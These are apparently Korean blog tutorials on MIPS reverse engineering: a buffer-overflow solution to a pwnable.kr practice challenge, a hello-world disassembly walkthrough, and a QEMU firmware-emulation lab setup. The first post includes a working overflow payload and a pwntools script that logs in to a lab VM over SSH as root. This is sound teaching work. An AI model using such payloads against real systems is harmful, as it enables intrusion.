원래 이번 포스팅 계획은 if분기문만 다뤄보려구했지만 욕심이 조금 생겨서 내친김에 BOF까지 도전해봤습니다.

pwnable.kr의 Toddler`s bottle bof문제 소스 그대로 사용했습니다. 다만 mips에서 컴파일하고 분석했을뿐!

분석하면서 크게 어려움을 겪어던 점은 없었으니, 보시는 분들도 수월하리라 생각합니다.

한가지 다른점이 있다면 x86에서는 리틀엔디안이였지만, mips에서는 빅엔디안이라는 사실이구요,


자세한 곳은 이곳을 참조하시기 바랍니다.

[참조] http://javawoo.tistory.com/27


1. C 소스

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <stdio.h>
 
void func(int key){
        char overflowme[32];
        printf("overflow me : ");
        gets(overflowme);
 
        if(key == 0xcafebabe){
                printf("Overflow Success!\n");
        }
        else{
                printf("Nah.. Overflow Fail :(\n");
        }
}
 
 
int main(int argc, char *argv[]){
 
        func(0xdeadbeef);
 
        return 0;
}



우선, 이 포스팅은 mips에 대한 내용을 기록하기 위함이며 해당 문제에 대한 풀이는 전에 포스팅한 적이 있으므로

BOF에 대해서는 자세히 풀이하지 않겠습니다. BOF에 대한 것을 알고 싶으시다면 아래 링크를 참조해주세요.


http://bachs.tistory.com/entry/PEDA-pwnablekr-bof%EB%AC%B8%EC%A0%9C


음,, 우선 소스는 별 것이 없습니다.

main함수에서 func라는 함수에 0xdeadbeef 값을 input으로 넣어주는데, 이 값을 func내에서

0xcafebabe라는 값과 비교한 후, BOF가 성공했는 지 실패했는 지 보여주는 코드입니다.


func함수 내부에 존재하는 oveflowme[32] 변수를 이용하여 BOF하면 될 것 같아요.


2. Disassemble Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Dump of assembler code for function main:
   0x0040072c <+0>:  addiu sp,sp,-32
   0x00400730 <+4>:  sw ra,28(sp)
   0x00400734 <+8>:  sw s8,24(sp)
   0x00400738 <+12>: move  s8,sp
   0x0040073c <+16>: sw a0,32(s8)
   0x00400740 <+20>: sw a1,36(s8)
   0x00400744 <+24>: lui   v0,0xdead
   0x00400748 <+28>: ori   a0,v0,0xbeef
   0x0040074c <+32>: jal   0x4006a0 <func>
   0x00400750 <+36>: move  at,at
   0x00400754 <+40>: move  v0,zero
   0x00400758 <+44>: move  sp,s8
   0x0040075c <+48>: lw ra,28(sp)
   0x00400760 <+52>: lw s8,24(sp)
   0x00400764 <+56>: addiu sp,sp,32
   0x00400768 <+60>: jr ra
   0x0040076c <+64>: move  at,at
End of assembler dump.



한번에 보려면 빡세니까 크게크게 main을 먼저 살펴보고, 실제 오버플로우를 발생시킬 func함수를 살펴봅시다.


2-1. main함수

위의 다섯 번째 줄까지는 지난 포스팅에서 살펴봤듯이 함수 프레임을 준비하는 작업을 하고 있습니다.

스택의 크기를 늘려주고, 현재 프레임 포인터를 백업하고 현재 프레임포인터 값을 스택포인터값으로 바꿔주는 작업이지요


a0 부터 a3까지의 레지스터들은 서브루틴 콜의 파라미터로 사용하기 위한 레지스터였습니다.

현재 까지는 a0 ~ a3레지스터에 접근 한 적이 없으니, 현재는 main의 파라미터들인 argc와 argv가 셋팅이 되어 있을 것으로 생각이 됩니다.



짜잔 하고 직접 찍어보니 욥! 예상대로 argc와 argv가 셋팅이 되어있네요,


lui는 지난 포스팅에서 소개했던 대로 타겟 레지스터의 상위 2바이트에 값을 넣는다고 했습니다.

lui v0, 0xdead 

=> v0 = 0xdead0000 의 상태가 될꺼에요


ori는 처음보니까 한번 찾아볼까요?

ori(OR Immediate) 타겟 레지스터에 OR연산을 해서 값을 넣어주는 명령어네요, 

a0 = v0 | 0x0000beef 

=> a0 = 0xdead0000 OR 0x0000beef 

=> a0 = 0xdeadbeef

이렇게 해서 a0에 func함수의 인자인 0xdeadbeef의 값이 저장된 것을 알 수 있습니다.

그 이후 func 함수를 호출하고 스택프레임 해제 후 프로그램이 종료되고 있습니다.


2-2. func 함수

이제 실제로 우리가 살펴봐야할 overflow를 내야하는 func함수를 본격적으로 살펴보도록 하겠습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
Dump of assembler code for function func:
   0x004006a0 <+0>:   addiu sp,sp,-64
   0x004006a4 <+4>:   sw ra,60(sp)
   0x004006a8 <+8>:   sw s8,56(sp)
   0x004006ac <+12>:  move  s8,sp
   0x004006b0 <+16>:  sw a0,64(s8)
   0x004006b4 <+20>:  lui   v0,0x40
   0x004006b8 <+24>:  addiu v0,v0,2304
   0x004006bc <+28>:  move  a0,v0
   0x004006c0 <+32>:  jal   0x400540 <printf@plt>
   0x004006c4 <+36>:  move  at,at
   0x004006c8 <+40>:  addiu v0,s8,24
   0x004006cc <+44>:  move  a0,v0
   0x004006d0 <+48>:  jal   0x400550 <gets@plt>
   0x004006d4 <+52>:  move  at,at
   0x004006d8 <+56>:  lw v1,64(s8)
   0x004006dc <+60>:  lui   v0,0xcafe
   0x004006e0 <+64>:  ori   v0,v0,0xbabe
   0x004006e4 <+68>:  bne   v1,v0,0x400704 <func+100>
   0x004006e8 <+72>:  move  at,at
   0x004006ec <+76>:  lui   v0,0x40
   0x004006f0 <+80>:  addiu a0,v0,2320
   0x004006f4 <+84>:  jal   0x400560 <puts@plt>
   0x004006f8 <+88>:  move  at,at
   0x004006fc <+92>:  j  0x400714 <func+116>
   0x00400700 <+96>:  move  at,at
   0x00400704 <+100>: lui   v0,0x40
   0x00400708 <+104>:   addiu a0,v0,2340
   0x0040070c <+108>:   jal   0x400560 <puts@plt>
   0x00400710 <+112>:   move  at,at
   0x00400714 <+116>:   move  sp,s8
   0x00400718 <+120>:   lw ra,60(sp)
   0x0040071c <+124>:   lw s8,56(sp)
   0x00400720 <+128>:   addiu sp,sp,64
   0x00400724 <+132>:   jr ra
   0x00400728 <+136>:   move  at,at
End of assembler dump.



중점적으로 봐야할 곳은 overflowme변수가 스택에서 어디에 위치하고 있는지?
그리고 함수의 input인 0xdeadbeef는 어디에 위치하고 있는지?
그래서 두 값간의 주소 차가 얼마나 나는지? 를 파악해야 오버플로우를 내면서 분기를 조작할 수 있을 거에요.

앞서 여러 번 살펴봤던 스택프레임을 구성하는 부분은 생략하고, 빠르게 살펴보겠습니다.
우선 overflowme변수의 위치부터 확인해보겠습니다.

C소스에서 gets함수를 통해 overflowme변수에 값을 넣었다는 것 기억나시나요?
mips에서는 함수 파라미터를 정해주기 위해 a0 ~ a3까지 사용했고, gets함수는 overflowme 변수 하나만을 파라미터로 받았으니
gets함수 콜 전에 a0에 어떤 값이 셋팅되고 있는 지를 살펴보면 overflowme를 추적해볼 수 있습니다.

12번 째 라인을 보면, 
addiu v0, s8, 24 
=> v0 = s8+24 
=> v0 = 베이스 포인터 + 24 한 곳의 값을 저장

13번 째 라인에서는 
move a0, v0
=> a0 = v0

14번 째 라인에서 gets를 호출하고 있습니다.

12 ~ 14라인 까지 살펴 본 결과 overflowme변수는 s8+24에 있는 것으로 보입니다. 직접 확인을 해보면!
 


저는 input 값을 AAAAA로 넣어주고 실행을 하였고, 결과적으로 제대로 분석했음을 알 수 있습니다.


gets함수 실행 후 16라인부터 다시 봅시다요

lw v1, 64(s8)

=> v1 = s8+64

=> v1에 s8+64값을 저장한 후


main에서 0xdeadbeef를 저장했던 똑같은 패턴으로 v0에 0xcafebabe를 저장했습니다.

그리고


19번째 라인에서

bne v1, v0, 0x400704


bne(branch on not equal) : 값을 비교해서 두 값이 같지 않으면 해당 주소로 점프를 뛰라는 명령어 입니다.

오호, 그럼 C소스에서 if( key == 0xcafebabe ) 이 분기를 뜻하는 것이겠네요.

그렇다면 분석한 정황상 s8+64에 함수의 input인 0xdeadbeef가 있다는 뜻??


정답! 그럼 이제 풀어낼 수 있을 것같아요.

overflowme와 함수 input과의 거리는 40만큼 나고 있기 때문에 40개의 dummy + 0xcafebabe를 넣어주면 뙇 하고 풀리겠네요.



3. exploit

사실 (python -c 'print "\x90"*40+"\xca\xfe\xba\xbe"') | ./bof 라고만 해도 풀리지만, pwntools모듈을 리마인드 하기위해서

pwntools로 풀어봤습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
 
= ssh(host='192.168.234.138', user='root', password='root', port=22)
= s.run('./prac/bof/bof')
data = p.recvuntil('overflow me : ')
print data 
 
payload = '\x90'*40 + '\xca\xfe\xba\xbe'
 
p.sendline(payload)
data = p.recvline()
 
print data 



어려운 코드는 없으시지요?

ssh 커넥션을 맺은 후 bof파일을 실행해 프로세스를 생성해서

overflowme : 라는 응답을 받으면


우리가 분석해서 만들어 낸 페이로드를 날려주면 끝입니다.

맨 처음 앞서 말씀 드렸다 시피 mips는 빅엔디안이기 때문에, \xbe\xba\xfe\xca의 형태가 아니라

\xca\xfe\xba\xbe로 우리가 보는 대로 값을 넣어주었습니다.


실행 결과는 위 사진처럼 아주 깔끔하게 해결되었습니다!


다음 포스팅은 반복문과 관련해서 하도록 하고.. 추후에 실제 프로그램들을 뜯어볼 지, 어떻게 할지는 정해봐야겠습니다. 



'Study > IoT' 카테고리의 다른 글

MIPS 리버싱 기초-1(hello world)  (2) 2017.09.13
firmware 분석 환경 구축하기  (11) 2017.09.06

이번 포스팅에서는 가장 기본인 hello world 프로그램을 MIPS아키텍쳐에서 리버싱을 해본 것을 다루어보도록하겠습니다.

추후 분기문, 반복문 등 기본적인 구문에 대해서 하나씩 추가해 볼 생각입니다.


MIPS에서 사용하는 레지스터에 대한 설명과 기본적인 명령어에 대한 설명은 아래 이곳을 참조하였습니다.

[참조] http://logos.cs.uic.edu/366/notes/mips%20quick%20tutorial.htm


1. C소스

몇 줄안되지만 리버싱해볼 프로그램을 먼저 살펴보겠습니다.


1
2
3
4
5
6
7
8
9
10
11
//hello.c
#include <stdio.h>
 
int main(int argc, char *argv[]){
 
    printf("argc    = %d\n", argc);
    printf("argv[0] = %s\n", argv[0]);
    printf("argv[1] = %s\n", argv[1]);
 
    return 0;
}




메인함수에서 argc와 argv들을 출력해는 프로그램입니다.

./hello hi

[출력예시]

argc        = 2

argv[0]     = /root/hello

argv[1]     = hi


2. Disassemble Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
   0x00400640 <+0>:      addiu    sp,sp,-32
   0x00400644 <+4>:      sw     ra,28(sp)
   0x00400648 <+8>:      sw     s8,24(sp)
   0x0040064c <+12>:     move     s8,sp
   0x00400650 <+16>:     sw     a0,32(s8)
   0x00400654 <+20>:     sw     a1,36(s8)
   0x00400658 <+24>:     lui     v0,0x40
   0x0040065c <+28>:     addiu    v0,v0,2144
   0x00400660 <+32>:     move     a0,v0
   0x00400664 <+36>:     lw     a1,32(s8)
   0x00400668 <+40>:     jal     0x400500 <printf@plt>
   0x0040066c <+44>:     move     at,at
   0x00400670 <+48>:     lui     v0,0x40
   0x00400674 <+52>:     addiu    v1,v0,2160
   0x00400678 <+56>:     lw     v0,36(s8)
   0x0040067c <+60>:     lw     v0,0(v0)
   0x00400680 <+64>:     move     a0,v1
   0x00400684 <+68>:     move     a1,v0
   0x00400688 <+72>:     jal     0x400500 <printf@plt>
   0x0040068c <+76>:     move     at,at
   0x00400690 <+80>:     lui     v0,0x40
   0x00400694 <+84>:     addiu    v1,v0,2176
   0x00400698 <+88>:     lw     v0,36(s8)
   0x0040069c <+92>:     addiu    v0,v0,4
   0x004006a0 <+96>:     lw     v0,0(v0)
   0x004006a4 <+100>:    move     a0,v1
   0x004006a8 <+104>:    move     a1,v0
   0x004006ac <+108>:    jal     0x400500 <printf@plt>
   0x004006b0 <+112>:    move     at,at
   0x004006b4 <+116>:    move     v0,zero
   0x004006b8 <+120>:    move     sp,s8
   0x004006bc <+124>:    lw     ra,28(sp)
   0x004006c0 <+128>:    lw     s8,24(sp)
   0x004006c4 <+132>:    addiu    sp,sp,32
   0x004006c8 <+136>:    jr     ra
   0x004006cc <+140>:    move     at,at




gdb에서 확인한 Disassemble Code 전체 입니다. 부분부분 잘라서 확인해봅시다.


1
2
3
4
   0x00400640 <+0>:        addiu   sp,sp,-32
   0x00400644 <+4>:        sw      ra,28(sp)
   0x00400648 <+8>:        sw      s8,24(sp)
   0x0040064c <+12>:     move    s8,sp



첫 번째 라인을 보면 addiu sp,sp,-32 가 되어있습니다. addiu가 어떤놈인지 한번 볼까요?

addiu (add immediate unsigned) , 오버플로우 무시
[예시] addiu $s1, $s2, 100 => $s1 = $s2 + 100

위와 같이 addiu는 첫 번째 레지스터에 두 번째 레지스터와 세 번째 상수 값을 더하여 저장하는 명령어입니다.
따라서 addiu sp,sp,-32 는 sp = sp -32 정도로 표현해 볼 수 있겠네요.


sp는 느낌적인 느낌으로 stack pointer라는 것을 알 수 있죠?
따라서 이 한 줄에 의미는 스택의 크기를 32바이트만큼 증가 시키는, x86의 구문과 대비하면
sub esp, 0x20 와 같은 역할을 하는 놈이 될꺼에요.


두 번째 라인은 sw ra, 28(sp) 입니다. 너무 생소하기 때문에 하나씩 또 잘라서 봅시다.

sw (Store Word)

레지스터의 값을 메모리에 Word사이즈만큼(4byte) 저장하는 명령어 입니다.

여기서 주의 깊게 보아야할 부분은 

sw source_register, destination_memory 로 표현된다는 점이에요.


ra (Return Address)

말그대로 리턴 주소를 가지고 있는 레지스터입니다.


28(sp)

이런 표현은 sp + 28을 뜻합니다. +28을 스택포인터의 오프셋으로 사용해서 스택에 접근하겠다는 뜻이지요


그래서 종합적으로 두 번째 라인은 어떻게 해석되느냐!

현재 리턴 주소를 sp+28에 저장해라 ~ 라는 뜻이 되겠습니다.


세 번째 라인은 sw s8, 24(sp) 입니다.

두 번째 라인과 비슷한 형태로 저장할 값만 바뀌었네요, s8를 sp+24에 저장해라! 가 되겠죠?

s8은 mips에서 프레임 포인터 레지스터입니다. x86에서 ebp와 같다고 생각하시면 될거 같네요.


네 번째 라인은 move s8, sp에요! move는 말그대로 값을 이동시키는 명령어 이고 x86에서 mov와 같습니다.

그러니까 s8 = sp가 되겠죠?


그럼 종합적으로 위의 네 라인이 무슨 일을 했는지 봅시다!

스택의 크기를 증가 시켰고, 현재 리턴어드레스와 프레임 포인터를 메모리에 저장했습니다.

그리고 프레임포인터에 스택포인터 값을 넣어주었죠.


네, 맞습니다. 스택프레임을 구성하는 구문이지요? 익숙한 x86으로 보면

push ebp

mov ebp, esp

sub esp, 0x20

함수 시작과 동시에 이루어지는 이 것과 비슷하게 움직이고 있습니다.



이제 두 번째 부분을 볼까요?

1
2
3
4
5
6
7
   0x00400650 <+16>:    sw     a0,32(s8)
   0x00400654 <+20>:    sw     a1,36(s8)
   0x00400658 <+24>:    lui    v0,0x40
   0x0040065c <+28>:    addiu  v0,v0,2144
   0x00400660 <+32>:    move   a0,v0
   0x00400664 <+36>:    lw     a1,32(s8)
   0x00400668 <+40>:    jal    0x400500 <printf@plt>



여기서 새롭게 보이는 명령어는 lui, lw, jal 정도가 있네요? 나머지는 위에 본 것들라 수월할거에요

두 번째 부분 첫 째 라인은 sw a0, 32(s8) 입니다.

a0 ~ a3 레지스터는 서브 루틴을 호출 할 때 파라미터들을 저장하는 레지스터입니다.

그럼 자연스레, main함수의 파라미터들이 a0~a3에 위치하고 있다고 생각해볼 수 있겠네요,


여기서는 s8+32에 a0의 값을 저장하고 있네요, s8은 아까 위에서 ebp랑 같은 프레임 포인터라고 했죠?

직접 a0에 어떤 값이 들어 있는 지 한번 찍어보도록 합시다.

레지스터의 용도에 따르면 a0에는 메인함수의 첫 번째 파라미터인 argc가 들어 있어야할 거에요.


브레이크 포인트를 걸고 나서  hi라는 argument를 주고 실행을 한 후 값을 찍어보니까!


0x2가 나왔어요. 파라미터를 하나 주고(./hello hi) 실행 했으니까, argc가 2일테고... 오호, 그럼 a0에 argc(0x2)가 들어있는게 맞고, 

이 값을 스택에 저장해 주겠다는 뜻이 되겠네요.


같은 방식으로 a1의 값을 확인하면

argv[0]의 포인터가 들어있는 것을 알 수 있습니당


음? 그럼 a2에는 프로그램 실행 환경변수의 포인터 값이 들어 있어야 겠죠? 

확인해보니까 맞네요 ㅎ;;



여하튼! 다시 본론으로 돌아오면, 두 번째 라인에서는 s8+36에(스택에) argv[] 포인터 값을 넣어주었어요,,


세 번째 라인은 lui v0, 0x40 으로 lui연산을 하고 있습니다. lui연산은 해당 레지스터의 상위 두바이트에 값을 로드하는 명령어인데요,

따라서 v0 = 0x00400000 와 같이 표현해 볼 수 있겠습니다.


네 번째 라인에서는 addiu v0, 2144 이고,

v0 = v0+2144 니까

v0 = 0x00400000 + 2144

v0 = 0x400860 이 되겠습니다.


다섯 번째 라인에서는 move a0, v0

a0 = v0 이고, 네 번째 라인에서 연산한 결과를 a0에 넣어주고있어요, 0x400860에는 어떤 값이 들어 있는 것일까요?


오, 프로그램에서 처음으로 호출 하는 printf의 첫 번째 파라미터가 들어 있었네요,

위에서 a0~a3은 서브루틴에서 함수호출을 하기전 파라미터가 셋팅되는 레지스터라고 했었죠?

이제 printf를 호출 할 준비를 하나보네요.


여섯 번째 라인!

lw a1, 32(s8) 은 Load Word 명령어로 레지스터를 Destination으로 메모리에서 값을 로드해오는 명령어 입니다.

따라서, a1 = s8+32 가 될거고, s8+32에는 첫 번째 라인에서 값을 넣어준 argc가 들어 있을 거에요.


두 번째 부분의 마지막라인인 일곱 번째 라인은

jal 0x400500 <printf@plt> 네요, jal은 옆에 <printf@plt>라고 써있는 걸 보고 눈치 채셨겠지만,

x86에서 call과 비슷한 명령어 입니다. Jump and Link이고, 동작은 해당 함수 주소로 Jump! 하고 다음 명령어 주소를

ra레지스터에 셋팅해줘서 Link하는 명령어 입니다.


printf를 호출 하는데 첫 번째 파라미터에는 a0의 값 "argc     = %d\n"

두 번째 파라미터에는 a1의 값 0x2를 가지고 호출을 하게 되겠지요!


두 번째 이하 부분도 비슷한 형식으로 printf를 호출 하고 있기에 설명은 생략하겠습니다.


혹시 포스팅 중 부족한 부분이나, 틀린 부분은 피드백 주시면 감사하겠습니다. 질문도 좋아요~ :)



'Study > IoT' 카테고리의 다른 글

MIPS 리버싱 기초-2(if, bof)  (0) 2017.09.14
firmware 분석 환경 구축하기  (11) 2017.09.06

이번 포스팅에서는 firmware분석 환경 구축에 대하여 다루어보도록 하겠습니다!

이 포스팅의 예제로는 iptime 8.76버전의 mips아키텍쳐 firmware를 가지고 진행하였으며, 운영체제는 칼리리눅스에서 진행하였습니다.


firmware를 분석 환경을 구축하기 위해서는 크게 firmware mod kit, qemu 이 두 가지 툴이 필요합니다.


1. firmware mod kit(fmk)

https://bitsum.com/firmware_mod_kit.htm


This kit gives the user the ability to make changes to a firmware image without recompiling the firmware sources. It works by extracting the firmware into its component parts, then extracting the file system image (assuming its in one the supported formats). The user can then make modifications to the extracted file system, and rebuild the firmware image.


번역 : 이 키트는 사용자가 펌웨어 소스를 다시 컴파일하지 않고 펌웨어 이미지를 변경할 수있는 기능을 제공합니다. 펌웨어를 구성 요소로 추출한 다음 파일 시스템 이미지를 추출합니다 (지원되는 형식으로 가정). 그런 다음 추출 된 파일 시스템을 수정하고 펌웨어 이미지를 다시 작성할 수 있습니다.


위 글은 fmk의 공식 페이지의 description의 일부분을 가져온 것 입니다. 설명되어있는대로 fmk는 펌웨어에서 시스템 이미지를 추출할 수 있습니다.


.bin 형태의 펌웨어 바이너리 파일을 fmk를 통해 시스템 이미지와 파일들을 추출해올 수 있습니다.


1.1 필요 패키지 설치

fmk설치에 앞서 fmk를 사용하기 위해 선행으로 설치해야하는 패키지들이 있습니다.


1
apt-get install zlib1g-dev build-essential liblzma-dev python-magic



zlib1g-dev와 liblzma-dev는 압축관련 패키지이고, python-magic은 파일포맷을 확인하기 위한 패키지, 패키지 작성을 위한 것이라고 하네요!


1.2 fmk clone

이 패키지들을 설치한 후 git에서 fmk를 clone해옵니다.

1
git clone https://github.com/rampageX/firmware-mod-kit.git



1.1에서 선행 패키지들을 이상없이 설치 하였다면 git에서 fmk를 받아 온 후 따로 make / make install 같은 과정 필요 없이 
바로 사용할 수 있는 상태입니다.


여러 쉘이 있으나, firmware에서 이미지를 추출하기 위해서는 extract-firmware.sh를 사용합니다.


1.3 extract-firmware.sh

extract하는 방법은 아래와 같습니다.

1
extract-firmware.sh target_firmware.bin



실행 후에는 실행한 디렉터리에 extract의 결과물인 fmk라는 디렉터리가 생성됩니다.


fmk내부에는 세 개의 디렉터리가 존재하는데

image_parts는 extract한 시스템 이미지들이 존재하고

logs에는 로그들이,

rootfs에는 시스템 파일들이 존재합니다.


얘네들을 가상머신으로 전송해서 구동시켜야합니다.


2. qemu

QEMU는 가상화 소프트웨어 가운데 하나다. Fabrice Bellard가 만들었으며 x86 이외의 기종을 위해 만들어진 소프트웨어 스택 전체를 가상머신 위에서 실행할 수 있다는 특징이 있다. 동적 변환기(Portable dynamic translation)를 사용한다.


[출처] 위키백과 : https://ko.wikipedia.org/wiki/QEMU


firmware를 직접 구동해보기 위해서 필요한 에뮬레이터(?)라고 생각하시면 될 것 같습니다.

IOT의 firmware가 실행 되는 아키텍쳐는 대부분 arm / mips 이기 때문에 추출만 한다고해서 바이너리들을 분석 pc에서 실행 해 볼 수 없습니다.

따라서 가상의 arm / mips 머신을 생성하여 firmware를 구동 시켜야합니다. 이때 가상의 arm / mips 머신 생성 및 구동을 도와주는 것이 QEMU입니다.


2.1 qemu 패키지 설치



apt-get install qemu



apt-get으로 qemu 패키지를 설치합니다.


2.2 해당 아키텍쳐 필요 파일 다운로드

https://people.debian.org/~aurel32/qemu/ 로 최초 접속하면 아래와 같은 사이트를 만날 수 있습니다.

사이트에 리스팅된 목록을 보시면 짐작 가능하시겠지만 arm, mips등 아키텍쳐 별로 나열되어있습니다. 저는 mips용 firmware를 실행하기 위해

mips를 클릭하여 들어갔습니다. 




여러 개의 파일이 있는데, 각 파일이 어떤 용도인지는 잘모르겠습니다ㅠ 아시는 분이 있으면 좀 알려주세요 ㅠㅠ

다만, 여러 서치 결과 qcow2확장자 파일 중에는 wheezy를 받은 경우가 대부분이라, 저도 wheezy를 받아서 사용하였습니다.


그래서 결과적으로 어떤 파일을 다운 받아야하느냐면!

아래로 조금 내리면 가상머신을 구동하기위한 샘플 명령이 있습니다. 거기에 맞춰 파일을 다운 받으시면 되는데요,


빨간 네모로 강조가 된 쟤들이에요!


vmlinux-3.2.0-4-4kc-malta와 debian_wheezy_mips_standard.qcow2 이 파일입니다.


구축하기위해 검색도 많이하고 여러 블로그를 참조했습니다만, 제대로 실행되지 않아서 여러번 실패를 겪었습니다. 제 경험으로는

다운로드페이지에 게시된 대로 다운받아 실행을 하는게 가장 정확할 것같습니다.

혹시 제 캡쳐본과 링크를 열었을 때 업데이트 등의 이유로 게시된 버전이 다르다면 홈페이지 예제를 따라가는 것을 추천드립니다.



다운이 다 받아지셨다면, 이제 머신을 구동시켜 볼 수 있습니다.

1
qemu-system-mips -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0"



구동 방법은 파일다운 받았던 곳에 있던 샘플을 쉘에 날려주시면 됩니다.



2.3 네트워크 브릿지 설정

위 과정을 거치면 구동도 되고, 외부망과 연결도 됩니다만... 다만 Host -> Guest간 내부 통신이 되지 않습니다.

ftp, ssh등의 서비스를 이용하기엔 여러가지로 불편합죠,, 이러한 이유로 네트워크 브릿지 설정을 해주는 것이 편합니다.


역시 네트워크 브릿지 설정을 하기 위해 설치가 필요한 패키지가 있습니다.


1
apt-get install bridge-utils



tunctl이라는 패키지도 필요하다고는 하는데, apt-get install tunctl로는 설치가 안되는거 같구... 

[추가] tnctl설치 방법입니다.(2017-09-18)

1
apt-get install uml-utilities



저같은 경우에는 제 칼리 리눅스에 default로 설치 되어있었습니다. 

이번에 환경을 구축하면서 우분투와 데비안이 생각보다 많이 다른 걸 몸소 느낄 수 있었습니다ㅠㅠ

패키지 설치가 끝나면, 아래와 같이 가상 인터페이스를 생성하고 브릿지를 연결해줍니다.


1) 브릿지 디바이스 생성 

brctl addbr virbr0


2) 가상 tap0 인터페이스 생성

tunctl -t tap0 -u 유저명


3) eth0와 tap0 브릿지 추가, 인터페이스 up

brctl addif virbr0 eth0

brctl addif virbr0 tap0


ifconfig eth0 up
ifconfig tap0 up
ifconfig virbr0 up

brctl stp virbr0 on

4) 브릿지 작업 성공 확인
brctl show



5) virbr0인터페이스에 ip할당, eth0인터페이스의 ip주소 삭제

ifconfig virbr0 172.16.1.2/16

ifconfig eth0 0.0.0.0 promisc


ip addr flush dev eth0

route add default gw 172.16.255.254


위 과정을 마치면 설정은 끝났습니다!

이제 실행 할 때 사용했던 예제에 몇가지를 추가 해주면 됩니다.


1
qemu-system-mips -M malta -m 128M -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -netdev tap,id=net0,ifname=tap0,script=no,downscript=no -device e1000,netdev=net0,mac=00:aa:00:60:00:01
cs

이대로 돌려주시면되어욥




왼쪽 QEMU가 가상머신창, 오른쪽이 Host의 쉘입니다. 각자 IP가 할당되었어요.

qemu가 속도가 느리기 때문에 저는 Host에 vsftp를 설치해서 가상머신에서 파일을 다운받았습니다.


그리고 다운받은 fmk디렉터리의 rootfs디렉터리로 들어가서 chroot명령어를 실행해준 후 /sbin/httpd를 실행해서 http데몬을 실행합니다.

1
2
chroot ./ ./bin/sh
/sbin/httpd





위의 내용을 기반으로 만든 브릿지 설정하는 쉘코드와 가상머신 구동 쉘코드를 첨부합니다! 필요하신분은 받아서 써보세욥

runMips.sh

setup_bridge_sh


환경은 구축되었으니... 이제 열심히 분석해보아야겠네요, 분석은 추후에 포스팅해보도록 하겠습니다.

'Study > IoT' 카테고리의 다른 글

MIPS 리버싱 기초-2(if, bof)  (0) 2017.09.14
MIPS 리버싱 기초-1(hello world)  (2) 2017.09.13

+ Recent posts